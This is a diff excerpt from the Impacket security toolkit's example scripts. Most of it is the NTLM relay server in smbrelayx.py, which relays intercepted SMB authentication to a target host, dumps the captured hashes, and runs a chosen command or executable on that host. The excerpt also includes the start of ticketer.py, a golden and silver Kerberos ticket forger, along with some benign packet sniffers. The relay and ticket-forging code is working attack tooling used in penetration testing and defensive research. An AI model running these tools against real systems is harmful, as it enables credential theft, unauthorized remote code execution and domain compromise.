NEGOTIATE_CONNECTION was not needed + if (self.target in smbData) is False: + smbData[self.target] = {} + smbClient = SMBClient(self.target) + smbClient.setDomainAccount(self.machineAccount, self.machineHashes, self.domainIp) + smbClient.set_timeout(60) + smbData[self.target]['SMBClient'] = smbClient + + smbClient = smbData[self.target]['SMBClient'] + clientChallengeMessage = smbClient.sendNegotiate(token) + challengeMessage = NTLMAuthChallenge() + challengeMessage.fromString(clientChallengeMessage) + ############################################################# + + respToken = SPNEGO_NegTokenResp() + # accept-incomplete. We want more data + respToken['NegState'] = b'\x01' + respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] + + respToken['ResponseToken'] = challengeMessage.getData() + + # Setting the packet to STATUS_MORE_PROCESSING + errorCode = STATUS_MORE_PROCESSING_REQUIRED + # Let's set up an UID for this connection and store it + # in the connection's data + # Picking a fixed value + # TODO: Manage more UIDs for the same session + connData['Uid'] = 10 + # Let's store it in the connection data + connData['CHALLENGE_MESSAGE'] = challengeMessage + + elif messageType == 0x03: + # AUTHENTICATE_MESSAGE, here we deal with authentication + + ############################################################# + # SMBRelay: Ok, so now the have the Auth token, let's send it + # back to the target system and hope for the best. + smbClient = smbData[self.target]['SMBClient'] + authenticateMessage = NTLMAuthChallengeResponse() + authenticateMessage.fromString(token) + if authenticateMessage['user_name'] != '': + clientResponse, errorCode = smbClient.sendAuth(connData['CHALLENGE_MESSAGE']['challenge'], + sessionSetupData['SecurityBlob']) + else: + # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials + errorCode = STATUS_ACCESS_DENIED + + if errorCode != STATUS_SUCCESS: + # Let's return what the target returned, hope the client connects back again + packet = NewSMBPacket() + packet['Flags1'] = SMB.FLAGS1_REPLY | SMB.FLAGS1_PATHCASELESS + packet['Flags2'] = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_EXTENDED_SECURITY + packet['Command'] = recvPacket['Command'] + packet['Pid'] = recvPacket['Pid'] + packet['Tid'] = recvPacket['Tid'] + packet['Mid'] = recvPacket['Mid'] + packet['Uid'] = recvPacket['Uid'] + packet['Data'] = b'\x00\x00\x00' + packet['ErrorCode'] = errorCode >> 16 + packet['ErrorClass'] = errorCode & 0xff + # Reset the UID + smbClient.setUid(0) + logging.error("Authenticating against %s as %s\\%s FAILED" % ( + self.target, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) + # del (smbData[self.target]) + return None, [packet], errorCode + else: + # We have a session, create a thread and do whatever we want + logging.info("Authenticating against %s as %s\\%s SUCCEED" % ( + self.target, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) + ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'], + authenticateMessage['user_name'], + authenticateMessage['domain_name'], + authenticateMessage['lanman'], authenticateMessage['ntlm']) + logging.info(ntlm_hash_data['hash_string']) + if self.server.getJTRdumpPath() != '': + writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], + self.server.getJTRdumpPath()) + + # Target will be attacked, adding to the attacked set + # If the attack fails, the doAttack thread will be responsible of removing it from the set + ATTACKED_HOSTS.add(self.target) + if self.runSocks is True: + # Pass all the data to the socksplugins proxy + protocolClient = SMBRelayClient(None, urlparse('smb://%s' % self.target)) + protocolClient.session = SMBConnection(existingConnection=smbClient) + activeConnections.put((self.target, 445, 'SMB', + ('%s/%s' % ( + authenticateMessage['domain_name'].decode('utf-16le'), + authenticateMessage['user_name'].decode('utf-16le'))).upper(), + protocolClient, connData)) + logging.info("Adding %s(445) to active SOCKS connection. Enjoy" % self.target) + del (smbData[self.target]) + else: + del (smbData[self.target]) + clientThread = doAttack(smbClient,self.exeFile,self.command) + clientThread.start() + + + # Now continue with the server + ############################################################# + + # Return status code of the authentication process. + errorCode = self.returnStatus + logging.info("Sending status code %s after authentication to %s" % ( + ERROR_MESSAGES[self.returnStatus][0], connData['ClientIP'])) + + respToken = SPNEGO_NegTokenResp() + # accept-completed + respToken['NegState'] = b'\x00' + + # Status SUCCESS + # Let's store it in the connection data + connData['AUTHENTICATE_MESSAGE'] = authenticateMessage + else: + raise Exception("Unknown NTLMSSP MessageType %d" % messageType) + + respParameters['SecurityBlobLength'] = len(respToken) + + respData['SecurityBlobLength'] = respParameters['SecurityBlobLength'] + respData['SecurityBlob'] = respToken.getData() + + else: + # Process Standard Security + respParameters = SMBSessionSetupAndXResponse_Parameters() + respData = SMBSessionSetupAndXResponse_Data() + sessionSetupParameters = SMBSessionSetupAndX_Parameters(smbCommand['Parameters']) + sessionSetupData = SMBSessionSetupAndX_Data() + sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength'] + sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength'] + sessionSetupData.fromString(smbCommand['Data']) + connData['Capabilities'] = sessionSetupParameters['Capabilities'] + ############################################################# + # SMBRelay + smbClient = smbData[self.target]['SMBClient'] + if sessionSetupData['Account'] != '': + clientResponse, errorCode = smbClient.login_standard(sessionSetupData['Account'], + sessionSetupData['PrimaryDomain'], + sessionSetupData['AnsiPwd'], + sessionSetupData['UnicodePwd']) + else: + # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials + errorCode = STATUS_ACCESS_DENIED + + if errorCode != STATUS_SUCCESS: + # Let's return what the target returned, hope the client connects back again + packet = NewSMBPacket() + packet['Flags1'] = SMB.FLAGS1_REPLY | SMB.FLAGS1_PATHCASELESS + packet['Flags2'] = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_EXTENDED_SECURITY + packet['Command'] = recvPacket['Command'] + packet['Pid'] = recvPacket['Pid'] + packet['Tid'] = recvPacket['Tid'] + packet['Mid'] = recvPacket['Mid'] + packet['Uid'] = recvPacket['Uid'] + packet['Data'] = '\x00\x00\x00' + packet['ErrorCode'] = errorCode >> 16 + packet['ErrorClass'] = errorCode & 0xff + # Reset the UID + smbClient.setUid(0) + return None, [packet], errorCode + # Now continue with the server + else: + # We have a session, create a thread and do whatever we want + ntlm_hash_data = outputToJohnFormat(b'', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], + sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) + logging.info(ntlm_hash_data['hash_string']) + if self.server.getJTRdumpPath() != '': + writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], + self.server.getJTRdumpPath()) + # Target will be attacked, adding to the attacked set + # If the attack fails, the doAttack thread will be responsible of removing it from the set + ATTACKED_HOSTS.add(self.target) + if self.runSocks is True: + # Pass all the data to the socksplugins proxy + protocolClient = SMBRelayClient(None, urlparse('smb://%s' % self.target)) + protocolClient.session = SMBConnection(existingConnection=smbClient) + activeConnections.put((self.target, 445, 'SMB', + ('%s/%s' % ( + sessionSetupData['PrimaryDomain'], + sessionSetupData['Account'])).upper(), + protocolClient, connData)) + logging.info("Adding %s(445) to active SOCKS connection. Enjoy" % self.target) + # Remove the target server from our connection list, the work is done + del (smbData[self.target]) + else: + # Remove the target server from our connection list, the work is done + del (smbData[self.target]) + clientThread = doAttack(smbClient, self.exeFile, self.command) + clientThread.start() + # Now continue with the server + + + ############################################################# + + # Do the verification here, for just now we grant access + # TODO: Manage more UIDs for the same session + errorCode = self.returnStatus + logging.info("Sending status code %s after authentication to %s" % ( + ERROR_MESSAGES[self.returnStatus][0], connData['ClientIP'])) + connData['Uid'] = 10 + respParameters['Action'] = 0 + + respData['NativeOS'] = smbServer.getServerOS() + respData['NativeLanMan'] = smbServer.getServerOS() + respSMBCommand['Parameters'] = respParameters + respSMBCommand['Data'] = respData + + # From now on, the client can ask for other commands + connData['Authenticated'] = True + ############################################################# + # SMBRelay + smbServer.setConnectionData('SMBRelay', smbData) + ############################################################# + smbServer.setConnectionData(connId, connData) + + return [respSMBCommand], None, errorCode + + def _start(self): + self.server.serve_forever() + + def run(self): + logging.info("Setting up SMB Server") + self._start() + + def setTargets(self, targets): + self.target = targets + + def setExeFile(self, filename): + self.exeFile = filename + + def setCommand(self, command): + self.command = command + + def setSocks(self, socks): + self.runSocks = socks + + def setReturnStatus(self, returnStatus): + # Specifies return status after successful relayed authentication to return + # to the connecting client. This comes useful when we don't want the connecting + # client to store successful credentials in his memory. Valid statuses: + # STATUS_SUCCESS - denotes that the connecting client passed valid credentials, + # which will make him store them accordingly. + # STATUS_ACCESS_DENIED - may occur for instance when the client is not a Domain Admin, + # and got configured Remote UAC, thus preventing connection to ADMIN$ + # STATUS_LOGON_FAILURE - which will tell the connecting client that the passed credentials + # are invalid. + self.returnStatus = { + 'success' : STATUS_SUCCESS, + 'denied' : STATUS_ACCESS_DENIED, + 'logon_failure' : STATUS_LOGON_FAILURE + }[returnStatus.lower()] + + def setMode(self,mode, one_shot): + self.mode = mode + self.one_shot = one_shot + + def setDomainAccount( self, machineAccount, machineHashes, domainIp): + self.machineAccount = machineAccount + self.machineHashes = machineHashes + self.domainIp = domainIp + +# Process command-line arguments. +if __name__ == '__main__': + + RELAY_SERVERS = ( SMBRelayServer, HTTPRelayServer ) + print(version.BANNER) + parser = argparse.ArgumentParser(add_help=False, + description="For every connection received, this module will try to SMB relay that " + " connection to the target system or the original client") + parser.add_argument("--help", action="help", help='show this help message and exit') + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-h', action='store', metavar='HOST', + help='Host to relay the credentials to, if not it will relay it back to the client') + parser.add_argument('-s', action='store', choices={'success', 'denied', 'logon_failure'}, default='success', + help='Status to return after client performed authentication. Default: "success".') + parser.add_argument('-e', action='store', required=False, metavar='FILE', + help='File to execute on the target system. If not specified, hashes will be dumped ' + '(secretsdump.py must be in the same directory)') + parser.add_argument('-c', action='store', type=str, required=False, metavar='COMMAND', + help='Command to execute on target system. If not specified, hashes will be dumped ' + '(secretsdump.py must be in the same directory)') + parser.add_argument('-socks', action='store_true', default=False, + help='Launch a SOCKS proxy for the connection relayed') + parser.add_argument('-one-shot', action='store_true', default=False, + help='After successful authentication, only execute the attack once for each target') + parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default ' + '"%s"). If errors are detected, run chcp.com at the target, ' + 'map the result with ' + 'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute smbrelayx.py ' + 'again with -codec and the corresponding codec ' % CODEC) + parser.add_argument('-outputfile', action='store', + help='base output filename for encrypted hashes. Suffixes will be added for ntlm and ntlmv2') + parser.add_argument('-machine-account', action='store', required=False, + help='Domain machine account to use when interacting with the domain to grab a session key for ' + 'signing, format is domain/machine_name') + parser.add_argument('-machine-hashes', action="store", metavar="LMHASH:NTHASH", + help='Domain machine hashes, format is LMHASH:NTHASH') + parser.add_argument('-domain', action="store", help='Domain FQDN or IP to connect using NETLOGON') + + try: + options = parser.parse_args() + except Exception as e: + logging.error(str(e)) + sys.exit(1) + + # Init the example's logger theme + logger.init(options.ts) + + if options.codec is not None: + CODEC = options.codec + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) + + + if options.h is not None: + logging.info("Running in relay mode") + mode = 'RELAY' + targetSystem = options.h + else: + logging.info("Running in reflection mode") + targetSystem = None + mode = 'REFLECTION' + + exeFile = options.e + Command = options.c + returnStatus = options.s + + threads = set() + + if options.socks is True: + # Start a SOCKS proxy in the background + s1 = SOCKS() + socks_thread = Thread(target=s1.serve_forever) + socks_thread.daemon = True + socks_thread.start() + threads.add(socks_thread) + + for server in RELAY_SERVERS: + s = server(options.outputfile) + s.setTargets(targetSystem) + s.setExeFile(exeFile) + s.setCommand(Command) + s.setSocks(options.socks) + s.setReturnStatus(returnStatus) + s.setMode(mode, options.one_shot) + if options.machine_account is not None and options.machine_hashes is not None and options.domain is not None: + s.setDomainAccount( options.machine_account, options.machine_hashes, options.domain) + elif (options.machine_account is None and options.machine_hashes is None and options.domain is None) is False: + logging.error("You must specify machine-account/hashes/domain all together!") + sys.exit(1) + + s.start() + threads.add(s) + + print("") + logging.info("Servers started, waiting for connections") + while True: + try: + sys.stdin.read() + except KeyboardInterrupt: + logging.info('Quitting.. please wait') + if options.socks is True: + s1.shutdown() + for s in threads: + del(s) + sys.exit(1) + else: + pass diff --git a/examples/smbserver.py b/examples/smbserver.py new file mode 100644 index 0000000..df658a0 --- /dev/null +++ b/examples/smbserver.py @@ -0,0 +1,105 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Simple SMB Server example. +# +# Author: +# Alberto Solino (@agsolino) +# + +import sys +import argparse +import logging + +from impacket.examples import logger +from impacket import smbserver, version +from impacket.ntlm import compute_lmhash, compute_nthash + +if __name__ == '__main__': + + # Init the example's logger theme + print(version.BANNER) + + parser = argparse.ArgumentParser(add_help = True, description = "This script will launch a SMB Server and add a " + "share specified as an argument. You need to be root in order to bind to port 445. " + "For optional authentication, it is possible to specify username and password or the NTLM hash. " + "Example: smbserver.py -comment 'My share' TMP /tmp") + + parser.add_argument('shareName', action='store', help='name of the share to add') + parser.add_argument('sharePath', action='store', help='path of the share to add') + parser.add_argument('-comment', action='store', help='share\'s comment to display when asked for shares') + parser.add_argument('-username', action="store", help='Username to authenticate clients') + parser.add_argument('-password', action="store", help='Password for the Username') + parser.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes for the Username, format is LMHASH:NTHASH') + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-ip', '--interface-address', action='store', default='0.0.0.0', help='ip address of listening interface') + parser.add_argument('-port', action='store', default='445', help='TCP port for listening incoming connections (default 445)') + parser.add_argument('-smb2support', action='store_true', default=False, help='SMB2 Support (experimental!)') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + try: + options = parser.parse_args() + except Exception as e: + logging.critical(str(e)) + sys.exit(1) + + logger.init(options.ts) + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + if options.comment is None: + comment = '' + else: + comment = options.comment + + server = smbserver.SimpleSMBServer(listenAddress=options.interface_address, listenPort=int(options.port)) + + server.addShare(options.shareName.upper(), options.sharePath, comment) + server.setSMB2Support(options.smb2support) + + # If a user was specified, let's add it to the credentials for the SMBServer. If no user is specified, anonymous + # connections will be allowed + if options.username is not None: + # we either need a password or hashes, if not, ask + if options.password is None and options.hashes is None: + from getpass import getpass + password = getpass("Password:") + # Let's convert to hashes + lmhash = compute_lmhash(password) + nthash = compute_nthash(password) + elif options.password is not None: + lmhash = compute_lmhash(options.password) + nthash = compute_nthash(options.password) + else: + lmhash, nthash = options.hashes.split(':') + + server.addCredential(options.username, 0, lmhash, nthash) + + # Here you can set a custom SMB challenge in hex format + # If empty defaults to '4141414141414141' + # (remember: must be 16 hex bytes long) + # e.g. server.setSMBChallenge('12345678abcdef00') + server.setSMBChallenge('') + + # If you don't want log to stdout, comment the following line + # If you want log dumped to a file, enter the filename + server.setLogFile('') + + # Rock and roll + server.start() diff --git a/examples/sniff.py b/examples/sniff.py new file mode 100644 index 0000000..89b559d --- /dev/null +++ b/examples/sniff.py @@ -0,0 +1,108 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Simple packet sniffer. +# +# This packet sniffer uses the pcap library to listen for packets in +# transit over the specified interface. The returned packages can be +# filtered according to a BPF filter (see tcpdump(3) for further +# information on BPF filters). +# +# Note that the user might need special permissions to be able to use pcap. +# +# Authors: +# Maximiliano Caceres +# Javier Kohen +# +# Reference for: +# pcapy: findalldevs, open_live +# ImpactDecoder +# + +import sys +from threading import Thread +import pcapy +from pcapy import findalldevs, open_live + +from impacket.ImpactDecoder import EthDecoder, LinuxSLLDecoder + + +class DecoderThread(Thread): + def __init__(self, pcapObj): + # Query the type of the link and instantiate a decoder accordingly. + datalink = pcapObj.datalink() + if pcapy.DLT_EN10MB == datalink: + self.decoder = EthDecoder() + elif pcapy.DLT_LINUX_SLL == datalink: + self.decoder = LinuxSLLDecoder() + else: + raise Exception("Datalink type not supported: " % datalink) + + self.pcap = pcapObj + Thread.__init__(self) + + def run(self): + # Sniff ad infinitum. + # PacketHandler shall be invoked by pcap for every packet. + self.pcap.loop(0, self.packetHandler) + + def packetHandler(self, hdr, data): + # Use the ImpactDecoder to turn the rawpacket into a hierarchy + # of ImpactPacket instances. + # Display the packet in human-readable form. + print(self.decoder.decode(data)) + + +def getInterface(): + # Grab a list of interfaces that pcap is able to listen on. + # The current user will be able to listen from all returned interfaces, + # using open_live to open them. + ifs = findalldevs() + + # No interfaces available, abort. + if 0 == len(ifs): + print("You don't have enough permissions to open any interface on this system.") + sys.exit(1) + + # Only one interface available, use it. + elif 1 == len(ifs): + print('Only one interface present, defaulting to it.') + return ifs[0] + + # Ask the user to choose an interface from the list. + count = 0 + for iface in ifs: + print('%i - %s' % (count, iface)) + count += 1 + idx = int(input('Please select an interface: ')) + + return ifs[idx] + +def main(filter): + dev = getInterface() + + # Open interface for catpuring. + p = open_live(dev, 1500, 0, 100) + + # Set the BPF filter. See tcpdump(3). + p.setfilter(filter) + + print("Listening on %s: net=%s, mask=%s, linktype=%d" % (dev, p.getnet(), p.getmask(), p.datalink())) + + # Start sniffing thread and finish main thread. + DecoderThread(p).start() + +# Process command-line arguments. Take everything as a BPF filter to pass +# onto pcap. Default to the empty filter (match all). +filter = '' +if len(sys.argv) > 1: + filter = ' '.join(sys.argv[1:]) + +main(filter) diff --git a/examples/sniffer.py b/examples/sniffer.py new file mode 100644 index 0000000..248e934 --- /dev/null +++ b/examples/sniffer.py @@ -0,0 +1,78 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Simple packet sniffer. +# +# This packet sniffer uses a raw socket to listen for packets +# in transit corresponding to the specified protocols. +# +# Note that the user might need special permissions to be able to use +# raw sockets. +# +# Authors: +# Gerardo Richarte (@gerasdf) +# Javier Kohen +# +# Reference for: +# ImpactDecoder +# + +from select import select +import socket +import sys + +from impacket import ImpactDecoder + +DEFAULT_PROTOCOLS = ('icmp', 'tcp', 'udp') + +if len(sys.argv) == 1: + toListen = DEFAULT_PROTOCOLS + print("Using default set of protocols. A list of protocols can be supplied from the command line, eg.: %s [proto2] ..." % sys.argv[0]) +else: + toListen = sys.argv[1:] + +# Open one socket for each specified protocol. +# A special option is set on the socket so that IP headers are included with +# the returned data. +sockets = [] +for protocol in toListen: + try: + protocol_num = socket.getprotobyname(protocol) + except socket.error: + print("Ignoring unknown protocol:", protocol) + toListen.remove(protocol) + continue + s = socket.socket(socket.AF_INET, socket.SOCK_RAW, protocol_num) + s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) + sockets.append(s) + +if 0 == len(toListen): + print("There are no protocols available.") + sys.exit(0) + +print("Listening on protocols:", toListen) + +# Instantiate an IP packets decoder. +# As all the packets include their IP header, that decoder only is enough. +decoder = ImpactDecoder.IPDecoder() + +while len(sockets) > 0: + # Wait for an incoming packet on any socket. + ready = select(sockets, [], [])[0] + for s in ready: + packet = s.recvfrom(4096)[0] + if 0 == len(packet): + # Socket remotely closed. Discard it. + sockets.remove(s) + s.close() + else: + # Packet received. Decode and display it. + packet = decoder.decode(packet) + print(packet) diff --git a/examples/split.py b/examples/split.py new file mode 100644 index 0000000..6603ed8 --- /dev/null +++ b/examples/split.py @@ -0,0 +1,145 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Pcap dump splitter +# +# This tools splits pcap capture files into smaller ones, one for each +# different TCP/IP connection found in the original. +# +# Authors: +# Alejandro D. Weil +# Javier Kohen +# +# Reference for: +# pcapy: open_offline, pcapdumper +# ImpactDecoder +# + +from __future__ import division +from __future__ import print_function +import sys +import pcapy +from pcapy import open_offline + +from impacket.ImpactDecoder import EthDecoder, LinuxSLLDecoder + + +class Connection: + """This class can be used as a key in a dictionary to select a connection + given a pair of peers. Two connections are considered the same if both + peers are equal, despite the order in which they were passed to the + class constructor. + """ + + def __init__(self, p1, p2): + """This constructor takes two tuples, one for each peer. The first + element in each tuple is the IP address as a string, and the + second is the port as an integer. + """ + + self.p1 = p1 + self.p2 = p2 + + def getFilename(self): + """Utility function that returns a filename composed by the IP + addresses and ports of both peers. + """ + return '%s.%d-%s.%d.pcap'%(self.p1[0],self.p1[1],self.p2[0],self.p2[1]) + + def __cmp__(self, other): + if ((self.p1 == other.p1 and self.p2 == other.p2) + or (self.p1 == other.p2 and self.p2 == other.p1)): + return 0 + else: + return -1 + + def __hash__(self): + return (hash(self.p1[0]) ^ hash(self.p1[1]) + ^ hash(self.p2[0]) ^ hash(self.p2[1])) + + +class Decoder: + def __init__(self, pcapObj): + # Query the type of the link and instantiate a decoder accordingly. + datalink = pcapObj.datalink() + if pcapy.DLT_EN10MB == datalink: + self.decoder = EthDecoder() + elif pcapy.DLT_LINUX_SLL == datalink: + self.decoder = LinuxSLLDecoder() + else: + raise Exception("Datalink type not supported: " % datalink) + + self.pcap = pcapObj + self.connections = {} + + def start(self): + # Sniff ad infinitum. + # PacketHandler shall be invoked by pcap for every packet. + self.pcap.loop(0, self.packetHandler) + + def packetHandler(self, hdr, data): + """Handles an incoming pcap packet. This method only knows how + to recognize TCP/IP connections. + Be sure that only TCP packets are passed onto this handler (or + fix the code to ignore the others). + + Setting r"ip proto \tcp" as part of the pcap filter expression + suffices, and there shouldn't be any problem combining that with + other expressions. + """ + + # Use the ImpactDecoder to turn the rawpacket into a hierarchy + # of ImpactPacket instances. + p = self.decoder.decode(data) + ip = p.child() + tcp = ip.child() + + # Build a distinctive key for this pair of peers. + src = (ip.get_ip_src(), tcp.get_th_sport() ) + dst = (ip.get_ip_dst(), tcp.get_th_dport() ) + con = Connection(src,dst) + + # If there isn't an entry associated yetwith this connection, + # open a new pcapdumper and create an association. + if ('%s%s' % (con.p1, con.p2)) not in self.connections: + fn = con.getFilename() + print("Found a new connection, storing into:", fn) + try: + dumper = self.pcap.dump_open(fn) + except pcapy.PcapError: + print("Can't write packet to:", fn) + return + self.connections['%s%s' % (con.p1, con.p2)] = dumper + + # Write the packet to the corresponding file. + self.connections['%s%s' % (con.p1, con.p2)].dump(hdr, data) + + + +def main(filename): + # Open file + p = open_offline(filename) + + # At the moment the callback only accepts TCP/IP packets. + p.setfilter(r'ip proto \tcp') + + print("Reading from %s: linktype=%d" % (filename, p.datalink())) + + # Start decoding process. + Decoder(p).start() + + +# Process command-line arguments. +if __name__ == '__main__': + if len(sys.argv) <= 1: + print("Usage: %s " % sys.argv[0]) + sys.exit(1) + + main(sys.argv[1]) diff --git a/examples/ticketConverter.py b/examples/ticketConverter.py new file mode 100644 index 0000000..f0fac41 --- /dev/null +++ b/examples/ticketConverter.py @@ -0,0 +1,82 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# This script will convert kirbi files (commonly used by mimikatz) into ccache files used by impacket, +# and vice versa. +# +# Examples: +# ./ticket_converter.py admin.ccache admin.kirbi +# ./ticket_converter.py admin.kirbi admin.ccache +# +# Author: +# Zer1t0 (https://github.com/Zer1t0) +# +# References: +# - https://tools.ietf.org/html/rfc4120 +# - http://web.mit.edu/KERBEROS/krb5-devel/doc/formats/ccache_file_format.html +# - https://github.com/gentilkiwi/kekeo +# - https://github.com/rvazarkar/KrbCredExport +# + +import argparse +import struct + +from impacket import version +from impacket.krb5.ccache import CCache + + +def parse_args(): + parser = argparse.ArgumentParser() + parser.add_argument('input_file', help="File in kirbi (KRB-CRED) or ccache format") + parser.add_argument('output_file', help="Output file") + return parser.parse_args() + + +def main(): + print(version.BANNER) + + args = parse_args() + + if is_kirbi_file(args.input_file): + print('[*] converting kirbi to ccache...') + convert_kirbi_to_ccache(args.input_file, args.output_file) + print('[+] done') + elif is_ccache_file(args.input_file): + print('[*] converting ccache to kirbi...') + convert_ccache_to_kirbi(args.input_file, args.output_file) + print('[+] done') + else: + print('[X] unknown file format') + + +def is_kirbi_file(filename): + with open(filename, 'rb') as fi: + fileid = struct.unpack(">B", fi.read(1))[0] + return fileid == 0x76 + + +def is_ccache_file(filename): + with open(filename, 'rb') as fi: + fileid = struct.unpack(">B", fi.read(1))[0] + return fileid == 0x5 + + +def convert_kirbi_to_ccache(input_filename, output_filename): + ccache = CCache.loadKirbiFile(input_filename) + ccache.saveFile(output_filename) + + +def convert_ccache_to_kirbi(input_filename, output_filename): + ccache = CCache.loadFile(input_filename) + ccache.saveKirbiFile(output_filename) + + +if __name__ == '__main__': + main() diff --git a/examples/ticketer.py b/examples/ticketer.py new file mode 100644 index 0000000..c7d8422 --- /dev/null +++ b/examples/ticketer.py @@ -0,0 +1,819 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# This script will create TGT/TGS tickets from scratch or based on a template (legally requested from the KDC) +# allowing you to customize some of the parameters set inside the PAC_LOGON_INFO structure, in particular the +# groups, extrasids, etc. +# Tickets duration is fixed to 10 years from now (although you can manually change it) +# +# Examples: +# ./ticketer.py -nthash -domain-sid -domain baduser +# +# will create and save a golden ticket for user 'baduser' that will be all encrypted/signed used RC4. +# If you specify -aesKey instead of -ntHash everything will be encrypted using AES128 or AES256 +# (depending on the key specified). No traffic is generated against the KDC. Ticket will be saved as +# baduser.ccache. +# +# ./ticketer.py -nthash -aesKey -domain-sid -domain +# -request -user -password baduser +# +# will first authenticate against the KDC (using -user/-password) and get a TGT that will be used +# as template for customization. Whatever encryption algorithms used on that ticket will be honored, +# hence you might need to specify both -nthash and -aesKey data. Ticket will be generated for 'baduser' and saved +# as baduser.ccache. +# +# Author: +# Alberto Solino (@agsolino) +# +# References: +# - Original presentation at BlackHat USA 2014 by @gentilkiwi and @passingthehash: +# (https://www.slideshare.net/gentilkiwi/abusing-microsoft-kerberos-sorry-you-guys-dont-get-it) +# - Original implementation by Benjamin Delpy (@gentilkiwi) in mimikatz +# (https://github.com/gentilkiwi/mimikatz) +# +# ToDo: +# [X] Silver tickets still not implemented - DONE by @machosec and fixes by @br4nsh +# [ ] When -request is specified, we could ask for a user2user ticket and also populate the received PAC +# + +from __future__ import division +from __future__ import print_function +import argparse +import datetime +import logging +import random +import string +import sys +from calendar import timegm +from time import strptime +from binascii import unhexlify + +from pyasn1.codec.der import encoder, decoder +from pyasn1.type.univ import noValue + +from impacket import version +from impacket.dcerpc.v5.dtypes import RPC_SID +from impacket.dcerpc.v5.ndr import NDRULONG +from impacket.dcerpc.v5.samr import NULL, GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, \ + SE_GROUP_ENABLED, USER_NORMAL_ACCOUNT, USER_DONT_EXPIRE_PASSWORD +from impacket.examples import logger +from impacket.krb5.asn1 import AS_REP, TGS_REP, ETYPE_INFO2, AuthorizationData, EncTicketPart, EncASRepPart, EncTGSRepPart +from impacket.krb5.constants import ApplicationTagNumbers, PreAuthenticationDataTypes, EncryptionTypes, \ + PrincipalNameType, ProtocolVersionNumber, TicketFlags, encodeFlags, ChecksumTypes, AuthorizationDataType, \ + KERB_NON_KERB_CKSUM_SALT +from impacket.krb5.keytab import Keytab +from impacket.krb5.crypto import Key, _enctype_table +from impacket.krb5.crypto import _checksum_table, Enctype +from impacket.krb5.pac import KERB_SID_AND_ATTRIBUTES, PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, \ + PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, PAC_PRIVSVR_CHECKSUM, PACTYPE, PKERB_SID_AND_ATTRIBUTES_ARRAY, \ + VALIDATION_INFO, PAC_CLIENT_INFO, KERB_VALIDATION_INFO +from impacket.krb5.types import KerberosTime, Principal +from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS + + +class TICKETER: + def __init__(self, target, password, domain, options): + self.__password = password + self.__target = target + self.__domain = domain + self.__options = options + if options.spn: + spn = options.spn.split('/') + self.__service = spn[0] + self.__server = spn[1] + if options.keytab is not None: + self.loadKeysFromKeytab(options.keytab) + + # we are creating a golden ticket + else: + self.__service = 'krbtgt' + self.__server = self.__domain + + @staticmethod + def getFileTime(t): + t *= 10000000 + t += 116444736000000000 + return t + + def loadKeysFromKeytab(self, filename): + keytab = Keytab.loadFile(filename) + 